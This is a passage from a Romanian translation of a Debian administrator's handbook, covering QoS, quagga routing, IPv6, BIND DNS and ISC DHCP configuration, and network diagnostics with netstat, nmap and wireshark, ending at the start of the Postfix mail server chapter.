rularea comenzilor declarate, respectiv, după ce interfața este configurată și înainte de a fi deconfigurată. De
exemplu:

Exemplul 10.9 Schimbări în fișierul /etc/network/interfaces

iface eth0 inet dhcp

up /sbin/wondershaper eth0 500 100
down /sbin/wondershaper remove eth0

În cazul PPP, crearea unui script care apelează wondershaper în /etc/ppp/ip-up.d/ va permite
controlul traficului imediat ce conexiunea va fi finalizată.

ÎN DETALIU Fișierul /usr/share/doc/wondershaper/README.Debian.gz descrie, în câteva detalii, metoda de

Configurație optimă configurare recomandată de întreținătorul pachetelor. În special, recomandă măsurarea vitezei de descărcare și
încărcare, pentru a evalua cât mai bine limitele reale.

10.4.2.2. Configurația standard

Cu excepția unei configurații specifice QoS, kernel-ul Linux folosește planificatorul de coadă pfifo_fast
care furnizează câteva funcții interesante în sine. Prioritatea fiecărui pachet IP procesat se bazează pe
câmpul DSCP (Differentiated of Services Code Point), al acestui pachet; modificarea acestui câmp de 6 bit este
suficientă pentru a profita de funcțiile de planificare. Pentru mai multe informații, consultați
https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector.
Câmpul ToS poate fi setat prin aplicații care generează pachete IP sau modificate în zbor prin netfilter.
Următoarele reguli sunt suficiente pentru a crește receptivitatea pentru serviciul SSH al unui server:

iptables -t mangle -A PREROUTING -p tcp --sport ssh -j TOS --set-tos Minimize-Delay

iptables -t mangle -A PREROUTING -p tcp --dport ssh -j TOS --set-tos Minimize-Delay

10.5. Rutare dinamică

Instrumentul de referință pentru rutarea dinamică este în prezent quagga, din pachetul numit în mod similar;
a fost zebra până când dezvoltarea acestuia din urmă a încetat. Cu toate acestea, quagga a păstrat
numele programelor din motive de compatibilitate, ceea ce explică următoarele comenzile zebra de mai jos.

NOȚIUNI DE BAZĂ Rutarea dinamică permite ruterelor să ajusteze, în timp real, căile utilizate pentru transmiterea pachetelor IP.
Rutare dinamică Fiecare protocol implică propria sa metodă de definire a rutelor (cea mai scurtă cale, utilizarea rutelor anunțate
de colegi și așa mai departe).
În nucleul Linux, o rută leagă un dispozitiv de rețea la un set de mașini la care se poate ajunge prin acest
dispozitiv. Comanda ip, atunci când ruta este folosită ca primul argument, definește rutele noi și afișează cele
existente. Comanda de route a fost utilizată în acest scop, dar este depreciată în favoarea ip.

Quagga este un set de daemoni care cooperează pentru a defini tabelele de rutare care vor fi folosite de
nucleul Linux; fiecare protocol de rutare (în special BGP, OSPF și RIP) oferă propriul demon. zebra daemon
colectează informații de la alți daemoni și gestionează în mod corespunzător tabelele de rutare statică.
Ceilalți daemoni impliciți sunt cunoscuți ca bgpd, ospfd, ospf6d, ripd, ripngd, și isisd.
Daemon-ii sunt activați prin editarea fișierului de configurare /etc/quagga/daemon.conf, unde daemon
trebuie numit după daemon-ul folosit; acest fișier trebuie să aparțină quagga user și quagga group, în așa fel
încât scriptul /etc/init.d/zebra să invoce daemon-ul. Pachetul quagga-core oferă exemple de configurare
în /usr/share /doc/quagga-core/examples/.
Configurația fiecăruia dintre demon-i necesită cunoașterea protocolului de rutare în cauză. Aceste protocoale
nu pot fi descrise în detaliu aici, dar quagga-doc oferă explicații ample sub forma unui fișier info. Același
conținut poate fi mai ușor răsfoit ca HTML pe situl Quagga:
➨ http://www.nongnu.org/quagga/docs/docs-info.html
În plus, sintaxa este foarte aproape de interfața de configurare a unui router standard, iar administratorii de
rețea se vor adapta rapid la quagga.

203
 ÎN PRACTICĂ OSPF (Open Shortest Path First) este, în general, cel mai bun protocol utilizat pentru rutarea dinamică în rețelele
OSPF, BGP sau RIP? private, dar BGP (Border Gateway Protocol) este mai frecvent pentru rutarea pe internet. RIP este destul de
vechi și cu greu mai este folosit.

10.6. primaryIPv6
IPv6, succesorul lui IPv4, este o nouă versiune a IPprotocol conceput pentru a remedia defectele sale, mai
ales deficitul de adrese IP disponibile. Acest protocol gestionează stratul de rețea; scopul său este de a oferi
o modalitate de a se adresa mașinilor, de a transmite date la destinația dorită și de a gestiona fragmentarea
datelor, dacă este nevoie (cu alte cuvinte, de a împărți pachetele în bucăți de dimensiuni care depind de
legăturile de rețea care vor fi utilizate pe cale și pentru a reasambla bucățile în ordinea lor corespunzătoare
la sosire).
Nucleele Debian includ gestionarea IPv6 în miezul nucleului (cu excepția unor arhitecturi care au fost
compilate ca un modul numit ipv6). Instrumentele de bază, cum ar fi ping și traceroute, au
echivalentele lor IPv6 în ping6 și traceroute6, disponibile în pachetele iputils-ping și iputils-tracepath.
Rețeaua IPv6 este configurată în mod similar cu IPv4, în /etc/network/interfaces. Dar dacă doriți ca
această rețea să fie disponibilă la nivel global, trebuie să vă asigurați că aveți un router capabil să transmită
trafic către rețeaua IPv6 globală.

Exemplul 10.10 Exemplu de configurare IPv6

iface eth0 inet6 static

address 2001:db8:1234:5::1:1/64
# Disabling auto-configuration
# autoconf 0
# The router is auto-configured and has no fixed address
# (accept_ra 1). If it had:
# gateway 2001:db8:1234:5::1

Subrețelele IPv6 au de obicei netmask de 64 bits. Aceasta înseamnă că în subrețea există 264 adrese distincte.
Aceasta permite aautoconfigurarea adreselor fără stare (SLAAC - Stateless Address Autoconfiguration) să aleagă
o adresă bazată pe adresa MAC a interfeței de rețea. În mod implicit, dacă SLAAC este activat în rețeaua
dvs. și IPv6 pe computerul dvs., kernel-ul va găsi automat router-e IPv6 și va configura interfețele de rețea.
Acest comportament poate avea implicații în intimitate. Dacă schimbați rețelele frecvent, de ex. cu un laptop,
s-ar putea să nu doriți ca adresa dvs. MAC să facă parte din adresa dvs. publică IPv6. Acest lucru ușurează
identificarea aceluiași dispozitiv în rețele. O soluție pentru aceasta sunt extensiile de confidențialitate IPv6
(pe care Debian le activează în mod implicit când conectarea IPv6 este detectată în timpul instalării inițiale),
care vor atribui interfeței o adresă suplimentară generată aleatoriu, schimbându-le periodic și le preferă
pentru conexiunile de ieșire. Conexiunile primite pot utiliza în continuare adresa generată de SLAAC.
Următorul exemplu, pentru utilizare în /etc/network/interfaces, activează aceste extensii de
confidențialitate.

Exemplul 10.11 Extensii de confidențialitate IPv6

iface eth0 inet6 auto

# Prefer the randomly assigned addresses for outgoing connections.
privext 2

SFAT Multe programe software trebuie adaptate pentru a gestiona IPv6. Majoritatea pachetelor din Debian au fost deja
Programe construite cu IPv6 adaptate, dar nu toate. Dacă pachetul dvs. preferat încă nu funcționează cu IPv6, puteți solicita ajutor în lista de
corespondență debian-ipv6 . Este posibil să se știe despre o înlocuire conștientă de IPv6 și ar putea depune o
eroare pentru a urmări corect problema.
➨ http://lists.debian.org/debian-ipv6/

Conexiunile IPv6 pot fi restricționate, în același mod ca pentru IPv4: nft poate fi folosit pentru a crea reguli
firewall pentru IPv4 și IPv6 (vedeți secțiunea 14.2.3. “Sintaxa lui nft” pagina 310)

10.6.1. Tunelarea
PRUDENȚĂ Tunelarea IPv6 peste IPv4 (spre deosebire de IPv6 nativă) cer ca firewall-ul să accepte traficul, care utilizează de
IPv6 tunneling și firewalls protocolul IPv4 numărul 41.

204
Dacă o conexiune IPv6 nativă nu este disponibilă, metoda de revenire este folosirea unui tunnel prin IPv4.
Hurricane Electric este un furnizor (liber) de astfel de tuneluri:
➨ http://tunnelbroker
Pentru a utiliza un Hurricane Electric tunnel, trebuie să vă înregistrați un cont, să vă autentificați, să selectați
un tunel gratuit și să editați fișierul /etc/network/interfaces cu codul generat.
Puteți instala și configura daemonul radvd (din pachetul similar) dacă doriți să utilizați computerul
configurat ca router pentru o rețea locală. Acest demon de configurare IPv6 are un rol similar cu dhcpd în
lumea IPv4.
Fișierul de configurare /etc/radvd.conf trebuie apoi creat (ca punct de plecare, consultați
/usr/share/doc/radvd/examples/simple-radvd.con). În cazul nostru, singura modificare necesară
este prefixul, care trebuie înlocuit cu cel furnizat de Hurricane Electric; acesta poate fi găsit în ieșirea comenzii
ip a, în blocul referitor la interfața he-ipv6.
Apoi, executați systemctl start radvd, iar rețeaua IPv6 ar trebui să funcționeze.

10.7. Servere de nume de domeniu (DNS)

Domain Name Service (DNS) este o componentă fundamentală a Internetului: mapează numele gazdelor la
adresele IP (și invers), ceea ce permite utilizarea www.debian.org în loc de 149.20.4.15 sau
2001:4f8:1:c::15.
Înregistrările DNS sunt organizate în zone; fiecare zonă se potrivește fie cu un domeniu (sau un
subdomeniu), fie cu un interval de adrese IP (deoarece adresele IP sunt în general alocate în intervale
consecutive). Un server primar este decisiv pe conținutul unei zone; server-ele secundare, de obicei găzduite
pe mașini separate, oferă copii actualizate în mod regulat ale zonei primare.
Fiecare zonă poate conține înregistrări de diferite tipuri (Resource Records):
• A: adresă IPv4.
• CNAME: alias (canonical name).
• MX: mail exchange, un. Aceste informații sunt folosite de alte e-mail server pentru a găsi unde să
trimiteți un e-mail către o anumită adresă. Fiecare înregistrare MX are prioritate. Se încearcă mai
întâi server-ul cu prioritate maximă (cu cel mai mic număr) (vezi bara laterală “SMTP” pagina 215); alte
server-e sunt contactate în ordinea scăderii priorității dacă primul nu răspunde.
• PTR: maparea unei adrese IP cu un nume. O astfel de înregistrare este stocată într-o zonă inversă
“reverse DNS” numită după intervalul de adrese IP. De exemplu, 1.168.192.in-addr.arpa este
zona care conține maparea inversă pentru toate adresele din intervalul 192.168.1.0/24.
• AAAA: adresă IPv6.
• NS: mapează un nume către un name server. Fiecare domeniu trebuie să aibă cel puțin o înregistrare
NS. Aceste înregistrări indică un DNS server care poate răspunde la întrebările referitoare la acest
domeniu; ele indică de obicei server-ele principale și secundare pentru domeniu. Aceste înregistrări
permit și delegarea DNS; de exemplu, zona scoalagenerala.com poate include o înregistrare NS
pentru internal.scoalagenerala.com, ceea ce înseamnă că zona
internal.scoalagenerala.com este gestionată de un alt server. Desigur, acest server trebuie să
declare o zonă internal.scoalagenerala.com.

10.7.1. DNS software

De referință, name server, Bind, a fost dezvoltat și este întreținut de ISC (Internet Software Consortium). Este
furnizat în Debian de pachetul bind9. Versiunea 9 aduce două modificări majore în comparație cu versiunile
anterioare. În primul rând, DNS server poate rula acum sub un utilizator neprivilegiat, astfel încât o
vulnerabilitate de securitate în server nu acordă privilegii root atacatorului (așa cum s-a văzut în mod repetat
cu versiunile 8.x).
Mai mult, Bind acceptă standardul DNSSEC pentru semnarea (și prin urmare, autentificarea) înregistrărilor
DNS, care permite blocarea oricărei activități de perturbare (spoofing attack) a acestor date în timpul atacurilor
man-in-the-middle (MITM).

205
 CULTURĂ Norma DNSSEC este destul de complexă; acest lucru explică parțial de ce nu este încă utilizat pe scară largă
DNSSEC (chiar dacă coexistă perfect cu DNS server care nu au cunoștință de DNSSEC). Pentru a înțelege toate
elementele implicate, ar trebui să verificați următorul articol.
➨ http://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Configurarea bind

Fișierele de configurare pentru bind, indiferent de versiune, au aceeași structură.
Administratorul Școlii Generale a creat o zonă scoalagenerala.com pentru a stoca informații legate de
acest domeniu și o zonă 168.192.in-addr.arpa pentru maparea inversă a adreselor IP în rețele locale.

PRUDENȚĂ Zonele inverse au un nume anume. Zona care acoperă rețeaua 192.168.0.0/16 trebuie să fie numită
Numele zonelor inverse 168.192.in-addr.arpa: componentele adresei IP sunt inversate și urmate de sufixul in-addr.arpa.
Pentru rețelele IPv6, sufixul este ip6.arpa, iar componentele adresei IP care se inversează sunt fiecare
caracter din reprezentarea completă hexadecimală a adresei IP. Ca atare, rețeaua 2001:0bc8:31a0::/48 ar
folosi o zonă numită 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

SFAT Comanda host (în pachetul bind9-host) solicită un DNS server și poate fi folosită pentru a testa configurația
Testarea DNS server server-ului. De exemplu, host machine.scoalagenerala.com localhost verifică răspunsul server-
ului local pentru interogarea machine.scoalagenerala.com. host ipaddress localhost
testează rezoluția inversă.

Următoarele extrase de configurare, preluate din fișierele Școala Generala, pot servi ca puncte de pornire
pentru a configura un DNS server:

Exemplul 10.12 Extras din /etc/bind/named.conf.local

zone "scoalagenerala.com" {
type master;
file "/etc/bind/db.internal.scoalagenerala.com";
allow-query { any; };
allow-transfer {
195.20.105.149/32 ; // ns0.xname.org
193.23.158.13/32 ; // ns1.xname.org
};
};

zone "internal.scoalagenerala.com" {
type master;
file "/etc/bind/db.internal.scoalagenerala.com";
allow-query { 192.168.0.0/16; };
};

zone "168.192.in-addr.arpa" {
type master;
file "/etc/bind/db.192.168";
allow-query { 192.168.0.0/16; };
};

Exemplul 10.13 Extras din /etc/bind/db.scoalagenerala.com

; scoalagenerala.com Zone
; admin.scoalagenerala.com. => zone contact: admin@scoalagenerala.com
$TTL 604800
@ IN SOA scoalagenerala.com. admin.scoalagenerala.com. (
20040121 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
; The @ refers to the zone name ("scoalagenerala.com" here)
; or to $ORIGIN if that directive has been used
;
@ IN NS ns
@ IN NS ns0.xname.org.

internal IN NS 192.168.0.2

206
@ IN A 212.94.201.10
@ IN MX 5 mail
@ IN MX 10 mail2

ns IN A 212.94.201.10
mail IN A 212.94.201.10
mail2 IN A 212.94.201.11
www IN A 212.94.201.11

dns IN CNAME ns

PRUDENȚĂ Sintaxa numelor de mașini respectă reguli stricte. De exemplu, machine implică machine.domain/. Dacă
Sintaxa unui nume numele de domeniu nu ar trebui să fie anexat la un nume, numele respectiv trebuie să fie scris as machine.
(cu un punct ca sufix). Indicarea unui nume DNS în afara domeniului curent, prin urmare, necesită o sintaxă ca
machine.otherdomain.com. (cu punctul final).

Exemplul 10.14 Extras din /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16

; admin.scoalagenerala.com. => zone contact: admin@scoalagenerala.com
$TTL 604800
@ IN SOA ns.internal.scoalagenerala.com. admin.scoalagenerala.com. (
20040121 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL

IN NS ns.internal.scoalagenerala.com.

; 192.168.0.1 ->; arrakis

1.0 IN PTR arrakis.internal.scoalagenerala.com.
; 192.168.0.2 -> neptune
2.0 IN PTR neptune.internal.scoalagenerala.com.

; 192.168.3.1 -> pau

1.3 IN PTR pau.internal.scoalagenerala.com.

10.8. DHCP
DHCP (pentru Dynamic Host Configuration Protocol) este un protocol prin care o mașină își poate obține
automat configurația rețelei atunci când pornește. Aceasta permite centralizarea gestionării configurațiilor
rețelei și asigurarea faptului că toate mașinile desktop au setări similare.
Un DHCP server oferă mulți parametri legați de rețea. Cea mai frecventă dintre acestea este o adresă IP și
rețeaua din care aparține mașina, dar poate furniza și alte informații, cum ar fi DNS server, WINS server, NTP
server, etc.
Internet Software Consortium- ISC (implicat și în dezvoltarea bind) este principalul autor al DHCP server.
Pachetul Debian corespunzător este isc-dhcp-server.

10.8.1. Configurarea
Primele elemente care trebuie editate în fișierul de configurare a DHCP server (/etc/dhcp/dhcpd.conf și
/etc/dhcp/dhcpd6.conf pentru IPv6) sunt domain name și DNS server. Dacă acest server este singur în
rețeaua locală (așa cum este definit de propagarea difuzării), directiva authoritative trebuie să fie
activată (sau necomentată). De asemenea, trebuie creată o secțiune subnet care descrie rețeaua locală și
informațiile de configurare care trebuie furnizate. Următorul exemplu se potrivește unei rețele locale
192.168.0.0/24 cu un router la 192.168.0.1 servind ca gateway. Adresele IP disponibile sunt cuprinse
de la 192.168.0.128 la 192.168.0.254.

Exemplul 10.15 Extras din /etc/dhcp/dhcpd.conf

#
# Sample configuration file for ISC dhcpd for Debian
#

# The ddns-updates-style parameter controls whether or not the server will

207
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages ('none', since DHCP v2 didn't
# have support for DDNS.)
ddns-update-style interim;

# option definitions common to all supported networks...

option domain-name "internal.scoalagenerala.com";
option domain-name-servers ns.internal.scoalagenerala.com;

default-lease-time 600;
max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;

# My subnet
subnet 192.168.0.0 netmask 255.255.255.0 {
option routers 192.168.0.1;
option broadcast-address 192.168.0.255;
range 192.168.0.128 192.168.0.254;
ddns-domainname "internal.scoalagenerala.com";
}

10.8.2. DHCP și DNS

O caracteristică plăcută este înregistrarea automată a DHCP clients în DNS zone, astfel încât fiecare mașină
primește un nume semnificativ (mai degrabă decât ceva impersonal, cum ar fi machine-192-168-0-
131.internal.scoalagenerala.com). Utilizarea acestei funcții necesită configurarea DNS server pentru
a accepta actualizări la zona DNS internal.scoalagenerala.com de pe DHCP server și configurarea
acestuia din urmă pentru a trimite actualizări pentru fiecare înregistrare.
În cazul bind (vedeți secțiunea 10.7.1. “DNS software” pagina 205), directiva allow-update trebuie adăugată
la fiecare dintre zonele pe care DHCP server trebuie să le editeze (cea pentru domeniul
internal.scoalagenerala.com și zona inversă). Această directivă listează adresele IP autorizate să
efectueze aceste actualizări; prin urmare, ar trebui să conțină adresele posibile ale DHCP server (atât adresa
locală, cât și adresa publică, dacă este cazul).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Aveți grijă! O zonă care poate fi modificată va fi schimbată de bind, iar cea din urmă va suprascrie fișierele
de configurare la intervale regulate. Întrucât această procedură automatizată produce fișiere care sunt mai
puțin citite de om decât cele scrise manual, administratorul Școlii Generale gestionează domeniul
internal.scoalagenerala.com cu un DNS server delegat; aceasta înseamnă că fișierul de zona
scoalagenerala.com rămâne ferm sub controlul lor manual.
Extrasul de configurare al DHCP server de mai sus include deja directivele necesare pentru actualizările
zonei DNS: acestea sunt liniile ddns-update-style interim; și ddns-domain-name
"internal.scoalagenerala.com"; din blocul care descrie subrețeaua.

10.9. Instrumente de diagnosticare a rețelei

Atunci când o aplicație de rețea nu rulează așa cum era de așteptat, este important să puteți privi sub
capotă. Chiar și când totul pare să funcționeze fără probleme, executarea unui diagnostic de rețea poate
ajuta la asigurarea că totul funcționează așa cum trebuie. În acest scop există mai multe instrumente de
diagnosticare; fiecare operează la un nivel diferit.

10.9.1. Diagnosticarea locală: netstat

Să menționăm mai întâi comanda netstat (în pachetul net-tools); afișează un rezumat instant al activității
de rețea a unei mașini. Când este invocat fără niciun argument, această comandă listează toate conexiunile

208
deschise; această listă poate fi foarte verbală, deoarece include multe Unix-domain sockets (utilizate pe scară
largă de către daemoni) care nu implică deloc rețeaua (de exemplu, comunicația dbus, traficul X11 și
comunicațiile între sisteme de fișiere virtuale și desktop).
Prin urmare, invocările comune utilizează opțiuni care alterează comportamentul netstat. Opțiunile cele
mai utilizate sunt:
• -t, care filtrează rezultatele pentru a include numai conexiunile TCP;
• -u, care funcționează similar pentru conexiunile UDP; aceste opțiuni nu se exclud reciproc, iar una
dintre ele este suficientă pentru a opri afișarea conexiunilor Unix-domain;
• -a, pentru a enumera și soclurile de ascultare (în așteptarea conexiunilor primite);
• -n, pentru a afișa rezultatele numeric: adrese IP (fără rezoluție DNS), numere de porturi (fără aliasuri
definite în /etc/services) și ID-uri de utilizator (fără nume de autentificare);
• -p, pentru a enumera procesele implicate; această opțiune este utilă doar atunci când netstat
este rulat ca root, deoarece utilizatorii normali își vor vedea doar propriile procese;
• -c, pentru a reîmprospăta continuu lista de conexiuni.
Alte opțiuni, documentate în pagina de manual netstat(8), oferă un control și mai fin asupra rezultatelor
afișate. În practică, primele cinci opțiuni sunt atât de des utilizate împreună încât sistemele și administratorul
de rețea practic a luat netstat -tupan, ca un reflex. Rezultatele tipice, pe o mașină încărcată ușor, pot
arăta astfel:

# netstat -tupan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd
tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4
tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [
tcp6 0 0 :::111 :::* LISTEN 397/rpcbind
tcp6 0 0 :::22 :::* LISTEN 431/sshd
tcp6 0 0 ::1:25 :::* LISTEN 762/exim4
tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd
udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient
udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind
udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd
udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient
udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r
udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind
udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd
udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd
udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd
udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r
udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd
udp6 0 0 :::996 :::* 397/rpcbind
udp6 0 0 :::34277 :::* 407/rpc.statd
udp6 0 0 :::54852 :::* 916/dhclient
udp6 0 0 :::111 :::* 397/rpcbind
udp6 0 0 :::38007 :::* 451/avahi-daemon: r
udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd
udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd
udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd
udp6 0 0 ::1:123 :::* 539/ntpd
udp6 0 0 :::123 :::* 539/ntpd
udp6 0 0 :::5353 :::* 451/avahi-daemon: r

Cum era de așteptat, acestea listează conexiuni stabilite, două conexiuni SSH în acest caz și
aplicații care așteaptă conexiuni de intrare (listate ca LISTEN), în special Exim4 e-mail server ascultănd pe
port 25.

10.9.2. Diagnosticul la distanță: nmap

nmap (în pachetul cu același nume) este, într-un fel, echivalentul la distanță pentru netstat.
Poate scana un set de porturi “bine cunoscute” pentru unul sau mai multe server-e la distanță și poate
enumera porturile în care se găsește o aplicație care răspunde la conexiunile primite. Mai mult, nmap este
capabil să identifice unele dintre aceste aplicații, uneori chiar numărul lor de versiune. Față de omologul

209
acestui instrument, deoarece rulează de la distanță, nmap nu poate furniza informații despre procese sau
utilizatori; cu toate acestea, poate opera pe mai multe ținte simultan.
O invocare tipică nmap folosește doar opțiunea -A (astfel încât nmap încearcă să identifice versiunile de
software pe care le găsește) urmată de una sau mai multe adrese IP sau nume DNS ale mașinilor de scanat.
Din nou, există multe alte opțiuni pentru a controla fin comportamentul lui nmap; consultați documentația din
pagina de manual nmap(1).

# nmap mirtuel

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:05 CET

Nmap scan report for mirtuel (192.168.1.242)
Host is up (0.000013s latency).
rDNS record for 192.168.1.242: mirtuel.internal.placard.fr.eu.org
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind

Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds

# nmap -A localhost

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:17 CEST

Nmap scan report for localhost (127.0.0.1)
Host is up (0.000039s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 33:a1:d8:b1:e5:5b:b2:0d:15:1b:8e:76:7f:e4:d7:3d (RSA)
| 256 8f:83:cf:fa:b3:58:54:9a:1d:1b:4c:db:b1:e2:58:76 (ECDSA)
|_ 256 fa:3d:58:62:49:92:93:90:52:fe:f4:26:ca:dc:4c:40 (ED25519)
25/tcp open smtp Exim smtpd 4.92
| smtp-commands: mirtuel Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME,
⮩ PIPELINING, CHUNKING, PRDR, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
631/tcp open ipp CUPS 2.2
| http-methods:
|_ Potentially risky methods: PUT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Home - CUPS 2.2.10
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.7 - 3.10
Network Distance: 0 hops
Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https:
⮩ //nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.33 seconds

După cum era de așteptat, sunt listate aplicațiile SSH și Exim4. Rețineți că nu toate aplicațiile
ascultă toate adresele IP; întrucât Exim4 este accesibil doar pe interfața loopback lo, apare doar în timpul
unei analize a localhost și nu atunci când scanează mirtuel (care mapează la Interfața eth0 pe
aceeași mașină).

10.9.3. Analizoare de pachete: tcpdump și wireshark

Uneori, trebuie să ne uităm la ceea ce se livrează de fapt pe cablu, pachet cu pachet. Aceste cazuri
apelează la un “analizor de cadre”, mai cunoscut sub numele de sniffer. Un astfel de instrument observă toate
pachetele care ajung la o anumită interfață de rețea și le afișează într-un mod ușor de utilizat.
Instrumentul venerabil din acest domeniu este tcpdump, disponibil ca un instrument standard pe o gamă
largă de platforme. Permite multe tipuri de captare a traficului de rețea, dar reprezentarea acestui trafic
rămâne destul de obscură. Prin urmare, nu o vom descrie mai detaliat.

210
Un instrument mai recent (și mai modern), wireshark (în pachetul wireshark), a devenit noua referință în
analiza traficului de rețea datorită numeroasele sale module de decodare care permit o analiză simplificată a
pachetelor capturate. Pachetele sunt afișate grafic cu o organizare bazată pe straturile de protocol. Aceasta
permite utilizatorului să vizualizeze toate protocoalele implicate într-un pachet. De exemplu, având în vedere
un pachet care conține o solicitare HTTP, wireshark afișează, separat, informațiile privind stratul fizic,
stratul Ethernet, informațiile despre pachetul IP, parametrii conexiunii TCP și, în final, cererea HTTP în sine.

Figura 10.1 Analizorul traficului de rețea wireshark

În exemplul nostru, pachetele care călătoresc prin SSH sunt filtrate (cu filtrul !tcp.port == 22 filter).
Pachetul afișat în prezent a fost dezvoltat la nivelul HTTP.

SFAT Atunci când nu poți rula o interfață grafică sau nu dorești să o faci din orice motiv, există o versiune numai text a
wireshark fără interfață lui wireshark sub numele tshark (într-un pachet separat tshark). Majoritatea funcțiilor de captare și
grafică: tshark decodare sunt încă disponibile, dar lipsa unei interfețe grafice limitează în mod necesar interacțiunile cu
programul (filtrarea pachetelor după ce au fost interceptate, urmărirea unei conexiuni TCP date și așa mai
departe). Poate fi încă utilizat ca primă abordare. Dacă sunt necesare alte manipulări și necesită interfața grafică,
pachetele pot fi salvate într-un fișier și acest fișier poate fi încărcat într-un wireshark care rulează pe o altă
mașină.

211
212
 Repere

Postfix
Apache
NFS
Samba
Squid
OpenLDAP
SIP
SSL
OpenDKIM
SPF

213
Capitolul 11

11. Servicii de rețea: Postfix, Apache, NFS, Samba, Squid,

LDAP, SIP, XMPP, TURN
Conţinut
Mail server 215 Web server (HTTP) 229 Server de fișiere FTP 234
Server de fișiere NFS 235 Configurarea Windows Shares cu Samba 237 HTTP/FTP proxy 253
Directorul LDAP 240 Servicii de comunicare în timp real 246

Serviciile de rețea sunt programele cu care utilizatorii interacționează direct în activitatea lor zilnică. Ele sunt
vârful aisbergului, care este sistemul informațional, iar acest capitol se concentrează asupra lor; părțile
ascunse pe care se bazează sunt infrastructura pe care am descris-o deja. De obicei, acestea necesită
tehnologia de criptare descrisă în secțiunea 10.2. “Certificate X.509” pagina 192.

214
11.1. Mail server
Administratorul Școlii Generale a ales Postfix pentru mail server electronic, datorită fiabilității și ușurinței sale de
configurare. Într-adevăr, proiectul său impune ca fiecare sarcină să fie pusă în aplicare într-un proces cu
setul minim de permisiuni necesare, ceea ce reprezintă, într- o mare măsură, o atenuare a problemelor de
securitate.

ALTERNATIVĂ Debian folosește Exim4 ca e-mail server implicit (motiv pentru care instalarea inițială include Exim4).
Exim4 server Configurația este asigurată de un pachet separat, exim4-config și personalizat automat pe baza răspunsurilor la
un set de întrebări Debconf foarte similare cu întrebările adresate de pachetul postfix.
Configurația poate fi fie într-un singur fișier (/etc/exim4/exim4.conf.template), fie împărțită într-un
număr de fragmente de configurare stocate sub /etc/exim4/conf.d/. În ambele cazuri, fișierele sunt
utilizate de update-exim4.conf ca șabloane pentru a genera
/var/lib/exim4/config.autogenerated. Acesta din urmă este fișierul folosit de Exim4. Datorită
acestui mecanism, valorile obținute prin configurația debconf Exim — care sunt stocate în
/etc/exim4/update-exim4.conf.conf — pot fi injectate în fișierul de configurare al Exim, chiar și
atunci când administratorul sau un alt pachet a modificat configurația implicită Exim.
Sintaxa fișierului de configurare Exim4 are particularitățile și curba sa de învățare; cu toate acestea, odată ce
aceste particularități sunt înțelese, Exim4 este un e-mail server foarte complet și puternic, așa cum demonstrează
zeci de pagini de documentare.
➨ http://www.exim.org/docs.html

11.1.1. Instalarea Postfix

Pachetul postfix include principalul SMTP daemon. Alte pachete (cum ar fi postfix-ldap și postfix-pgsql) adaugă
funcționalitate suplimentară Postfix, inclusiv accesul la maparea bazelor de date. Ar trebui să le instalați doar
dacă știți că aveți nevoie de ele.

NOȚIUNI DE BAZĂ SMTP (Simple Mail Transfer Protocol), protocolul, de transfer simplu prin poștă, folosit de mail server pentru
SMTP schimbul și rutarea e-mailurilor.

Mai multe întrebări Debconf sunt puse în timpul instalării pachetului. Răspunsurile permit generarea unei
prime versiuni a fișierului de configurare /etc/postfix/main.cf.
Prima întrebare tratează tipul de configurare. Doar două dintre răspunsurile propuse sunt relevante în cazul
unui server conectat la Internet, “Internet site” și “Internet with smarthost”. Prima este potrivită pentru un server
